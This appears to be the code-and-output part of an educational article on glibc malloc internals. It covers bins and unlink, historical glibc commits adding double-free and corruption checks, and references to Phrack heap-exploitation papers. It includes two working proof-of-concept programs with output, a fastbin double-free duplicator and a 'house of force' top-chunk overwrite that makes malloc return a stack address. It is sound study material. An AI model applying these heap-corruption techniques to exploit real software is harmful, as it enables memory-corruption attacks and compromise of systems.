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$	sed	-n	22,27p	glibc/malloc/malloc.c
This	is	a	version	(aka	ptmalloc2)	of	malloc/free/realloc	written	by
Doug	Lea	and	adapted	to	multiple	threads/arenas	by	Wolfram	Gloger.

There	have	been	substantial	changes	made	after	the	integration	into
glibc	in	all	parts	of	the	code.		Do	not	look	for	much	commonality
with	the	ptmalloc2	version.
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#define	largebin_index_64(sz)	\
		(((((unsigned	long)	(sz))	>>	6)	<=	48)	?		48	+	(((unsigned	long)	(sz))	>>	6)	:\
			((((unsigned	long)	(sz))	>>	9)	<=	20)	?		91	+	(((unsigned	long)	(sz))	>>	9)	:\
			((((unsigned	long)	(sz))	>>	12)	<=	10)	?	110	+	(((unsigned	long)	(sz))	>>	12)	:\
			((((unsigned	long)	(sz))	>>	15)	<=	4)	?	119	+	(((unsigned	long)	(sz))	>>	15)	:\
			((((unsigned	long)	(sz))	>>	18)	<=	2)	?	124	+	(((unsigned	long)	(sz))	>>	18)	:\
			126)
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struct	malloc_state
{
				mutex_t	mutex;

				[...]

				/*	Fastbins	*/
				mfastbinptr	fastbinsY[NFASTBINS];

				/*	Base	of	the	topmost	chunk	*/
				mchunkptr	top;

				/*	The	remainder	from	the	most	recent	split	of	a	small	request	*/
				mchunkptr	last_remainder;

				/*	Normal	bins	*/
				mchunkptr	bins[NBINS	*	2	-	2];

				[...]
};

28



29



30



31



32



#define	unlink(	P,	BK,	FD	)	{	\
				BK	=	P->bk;	\
				FD	=	P->fd;	\
				FD->bk	=	BK;	\
				BK->fd	=	FD;	\
}

p->fd->bk	=	p->bk
p->bk->fd	=	p->fd
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commit	9a3a9dd8d9e03875f865a22de5296274cc18c10e
Author:	Ulrich	Drepper	<drepper@redhat.com>
Date:			Tue	Aug	19	09:30:22	2003	+0000

diff	--git	a/malloc/malloc.c	b/malloc/malloc.c
index	5cc3473..55e2cbc	100644
---	a/malloc/malloc.c
+++	b/malloc/malloc.c
@@	-4131,6	+4131,13	@@	_int_free(mstate	av,	Void_t*	mem)
					p	=	mem2chunk(mem);
					size	=	chunksize(p);

+				/*	Little	security	check	which	won't	hurt	performance:	the
+							allocator	never	wrapps	around	at	the	end	of	the	address	space.
+							Therefore	we	can	exclude	some	size	values	which	might	appear
+							here	by	accident	or	by	"design"	from	some	intruder.		*/
+				if	((uintptr_t)	p	>	(uintptr_t)	-size)
+						return;
+
					check_inuse_chunk(av,	p);

					/*
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commit	3e030bd5f9fa57f79a509565b5de6a1c0360d953
Author:	Ulrich	Drepper	<drepper@redhat.com>
Date:			Sat	Aug	21	20:19:54	2004	+0000

diff	--git	a/malloc/malloc.c	b/malloc/malloc.c
index	6e6c105..206be50	100644
---	a/malloc/malloc.c
+++	b/malloc/malloc.c
@@	-1966,6	+1970,9	@@	typedef	struct	malloc_chunk*	mbinptr;
	#define	unlink(P,	BK,	FD)	{	\
			FD	=	P->fd;	\
			BK	=	P->bk;	\
+		if	(__builtin_expect	(FD->bk	!=	P	||	BK->fd	!=	P,	0))				\
+				malloc_printf_nc	(check_action,
\
+													"corrupted	double-linked	list	at	%p!\n",	P);		\
			FD->bk	=	BK;	\
			BK->fd	=	FD;	\
	}
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commit	9d0cdc0eeaf8b0ca19bf04c5e18b00d965fcd0a8
Author:	Ulrich	Drepper	<drepper@redhat.com>
Date:			Thu	Sep	9	01:58:35	2004	+0000

diff	--git	a/malloc/malloc.c	b/malloc/malloc.c
index	5636d5c..4db4051	100644
---	a/malloc/malloc.c
+++	b/malloc/malloc.c
@@	-4201,6	+4201,13	@@	_int_free(mstate	av,	Void_t*	mem)

							set_fastchunks(av);
							fb	=	&(av->fastbins[fastbin_index(size)]);
+						/*	Another	simple	check:	make	sure	the	top	of	the	bin	is	not	the
+				record	we	are	going	to	add	(i.e.,	double	free).		*/
+						if	(__builtin_expect	(*fb	==	p,	0))
+			{
+					malloc_printf_nc	(check_action,	"double	free(%p)!\n",	mem);
+					return;
+			}
							p->fd	=	*fb;
							*fb	=	p;
					}
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commit	893e609847a2f372970e349e0cede2e8529bea71
Author:	Ulrich	Drepper	<drepper@redhat.com>
Date:			Fri	Nov	19	21:35:00	2004	+0000

diff	--git	a/malloc/malloc.c	b/malloc/malloc.c
index	5707410..d6810be	100644
---	a/malloc/malloc.c
+++	b/malloc/malloc.c
@@	-4233,6	+4233,14	@@	_int_free(mstate	av,	Void_t*	mem)
	#endif
							)	{

+				if	(__builtin_expect	(chunk_at_offset	(p,	size)->size	<=	2	*	SIZE_SZ,	0)
+			||	__builtin_expect	(chunksize	(chunk_at_offset	(p,	size))
+																>=	av->system_mem,	0))
+						{
+			errstr	=	"invalid	next	size	(fast)";
+			goto	errout;
+						}
+
					set_fastchunks(av);
					fb	=	&(av->fastbins[fastbin_index(size)]);
					/*	Another	simple	check:	make	sure	the	top	of	the	bin	is	not	the
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int	main(void)
{
				void*	ptr	=	malloc(42);

				free(ptr);
				free(ptr);

				return	0;
}
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***	Error	in	`./clone':	double	free	or	corruption	(fasttop):	0x0000557e5c19e010	***
=======	Backtrace:	=========
/usr/lib/libc.so.6(+0x6ed4b)[0x7fb27b6ebd4b]
/usr/lib/libc.so.6(+0x74546)[0x7fb27b6f1546]
/usr/lib/libc.so.6(+0x74d1e)[0x7fb27b6f1d1e]
./clone(+0x7ed)[0x557e5be217ed]
/usr/lib/libc.so.6(__libc_start_main+0xf1)[0x7fb27b69d741]
./clone(+0x699)[0x557e5be21699]
=======	Memory	map:	========
[...]
zsh:	abort	(core	dumped)		./clone
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$	grep	-rn	'double	free	or	corruption'	
malloc.c:3939:						errstr	=	"double	free	or	corruption	(fasttop)";
malloc.c:3975:		errstr	=	"double	free	or	corruption	(top)";
malloc.c:3983:		errstr	=	"double	free	or	corruption	(out)";
malloc.c:3989:		errstr	=	"double	free	or	corruption	(!prev)";

/*	Check	that	the	top	of	the	bin	is	not	the	record	we	are	going	to	add
			(i.e.,	double	free).		*/
if	(__builtin_expect	(old	==	p,	0))
{
				errstr	=	"double	free	or	corruption	(fasttop)";
				goto	errout;
}
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int	main(void)
{
				void*	ptr1	=	malloc(42);
				void*	ptr2	=	malloc(42);

				printf("ptr1:	%p\n",	ptr1);
				printf("ptr2:	%p\n",	ptr2);

				free(ptr1);
				free(ptr2);
				free(ptr1);

				printf("%p\n",	malloc(42));
				printf("%p\n",	malloc(42));
				printf("%p\n",	malloc(42));

				return	0;
}
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$	make	fastchunk-duplicator	&&	./fastchunk-duplicator
cc					fastchunk-duplicator.c			-o	fastchunk-duplicator
ptr1:	0x5646b5034010
ptr2:	0x5646b5034050
0x5646b5034010
0x5646b5034050
0x5646b5034010
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static	void	*
_int_malloc	(mstate	av,	size_t	bytes)
{
//	[...]
use_top:
						victim	=	av->top;
						size	=	chunksize(victim);

						if	((unsigned	long)(size)	>=	(unsigned	long)(nb	+	MINSIZE))	{
								remainder_size	=	size	-	nb;
								remainder	=	chunk_at_offset(victim,	nb);
								av->top	=	remainder;
								set_head(victim,	nb	|	PREV_INUSE	|
																	(av	!=	&main_arena	?	NON_MAIN_ARENA	:	0));
								set_head(remainder,	remainder_size	|	PREV_INUSE);
								check_malloced_chunk(av,	victim,	nb);
								return	chunk2mem(victim);
//	[...]
}

#define	chunk_at_offset(p,	s)		((mchunkptr)	(((char	*)	(p))	+	(s)))

43



int	main(void)
{
				char	target[]	=	"On	the	stack";

				void*	chunk	=	malloc(42);
				void*	wilderness	=	(char*)(chunk)	+	malloc_usable_size(chunk);
				*(uintptr_t*)wilderness	=	0xFFFFFFFFFFFFFFFF;
				malloc((uintptr_t)target	-	2	*	sizeof	(size_t)	-	(uintptr_t)wilderness);
				void*	ptr	=	malloc(0x100);

				printf("%p:	%s\n",	ptr,	ptr);
}
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$	make	house-of-force	&&	./house-of-force
cc					house-of-force.c			-o	house-of-force
0x7ffd77fc6350:	On	the	stack
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http://gee.cs.oswego.edu/dl/html/malloc.html
https://www.gnu.org/software/libc/download.html
https://sourceware.org/glibc/wiki/MallocInternals
http://phrack.org/issues/57/8.html
http://www.phrack.org/issues/61/6.html
http://archive.cert.uni-stuttgart.de/vuln-dev/2004/02/msg00025.html
https://packetstormsecurity.com/files/40638/MallocMaleficarum.txt.html
http://phrack.org/issues/64/9.html
http://phrack.org/issues/66/10.html
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